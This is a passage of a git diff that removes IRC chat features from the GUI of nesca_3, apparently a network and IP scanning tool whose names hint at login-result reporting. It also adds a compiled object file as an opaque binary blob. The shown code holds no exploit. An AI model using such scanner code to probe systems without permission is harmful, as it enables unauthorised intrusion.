= codec->fromUnicode(rData); - ui->ircRaw->append(QString(wtf)); - } - else ui->ircRaw->append(rData); -} - -void nesca_3::appendDefaultIRCRawTextOut(QString str) -{ - QString rData; - if(code160) rData = "<font color=\"#dbdbdb\">[" + QTime::currentTime().toString() + "] " + str.trimmed() + "</font>"; - else rData = "<font color=\"#dbdbdb\">[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + "</font>"; - globalIRCRaw += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircRaw->append(QString(wtf)); - } - else ui->ircRaw->append(rData); -} - -void nesca_3::slotClearNickList() -{ - ui->nickList->clear(); -} - -void nesca_3::slotAppendIRCNick(QString str) -{ - if(str.size() > 0 && str != " ") - { - ui->nickList->addItem(str.remove("@")); - ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); - }; -} - -void nesca_3::slotItemClicked(QListWidgetItem* wi) -{ - if(privateMsgFlag == false) - { - QString pText = ui->shoutBox->text(); - ui->shoutBox->setText(pText + wi->text() + ", "); - ui->shoutBox->setFocus(); - } - else - { - ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); - ui->shoutBox->setFocus(); - }; -} - nesca_3::~nesca_3() { delete[] ui; diff --git a/nesca_3.h b/nesca_3.h index 59c8d5c..1636de3 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -24,8 +24,8 @@ #include "mainResources.h" extern Ui::nesca_3Class *ui; -extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, QOSWait, - connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, +extern bool widgetIsHidden, blinkFlag, disableBlink, QOSWait, + ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; extern float QoSStep; extern int MaxDataVal; @@ -67,18 +67,7 @@ protected: void changeNSTrackLabel(bool status); void slotPBUpdate(); void DNSLine_ValueChanged(); - void slotChangeCPModeToUTF(); - void slotChangeCPModeTo1251(); void slotShowRedVersion(); - void ChangeTopic(); - void slotIRCGetTopic(QString str); - void slotIRCOfflined(); - void slotUnhidePopup(QString str, QString senderNick); - void slotItemClicked(QListWidgetItem* wi); - void slotClearNickList(); - void slotAppendIRCNick(QString str); - void slotShowNicks(); - void slotBlinkMessage(); void slotTabChanged(int index); void IPScanSeq(); void DNSScanSeq(); @@ -90,22 +79,13 @@ protected: void slotShowServerMsg(QString str); void slotSaveImage(QAction *qwe); void slotUpdatePie(); - void slotClearLogs(); - void slotRestartIRC(); + void slotClearLogs(); void slotDrawVoiceGrid(int factor); - void slotDrawTextPlacers(); - void onLinkClicked(QUrl link); + void slotDrawTextPlacers(); void CheckPersKey(); void CheckPersKey(int val); - void slotRestoreDefPorts(); - void ChangeNick(); - void setNickBox(QString str); - void SaySmthng(); - void ChangeIRCRawLog(); - void switchToJobMode(); - void ConnectToIRCServer(); - void CheckProxy(); - void ChangeDispalyMode(); + void slotRestoreDefPorts(); + void switchToJobMode(); void switchDataFields(); void importAndScan(); void slotQoSAddGrid(); @@ -139,18 +119,10 @@ protected: void appendOKText(QString str); void appendDebugText(QString str); void appendNotifyText(QString str); - void appendDefaultText(QString str); - void appendRedIRCText(QString str); - void appendGreenIRCText(QString str); - void appendYellowIRCText(QString str); - void appendDefaultIRCText(bool, bool, QString str, QString s); - void appendDefaultIRCTextOut(QString str); - void appendDefaultIRCRawTextInc(QString str); - void appendDefaultIRCRawTextOut(QString str); + void appendDefaultText(QString str); void appendGreenBAData(QString str); void appendRedBAData(QString str); - void STTTerminate(); - void playFcknSound(); + void STTTerminate(); private: QPoint dragPosition; }; @@ -199,8 +171,7 @@ protected: { if(switchWindows) { - switchWindows = false; - emit ui->IRCModeBut->clicked(); + switchWindows = false; }; } diff --git a/nesca_3.o b/nesca_3.o new file mode 100644 index 0000000000000000000000000000000000000000..6d6a866ff048adf3d53a662823a1155caef71d28 GIT binary patch literal 755832 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 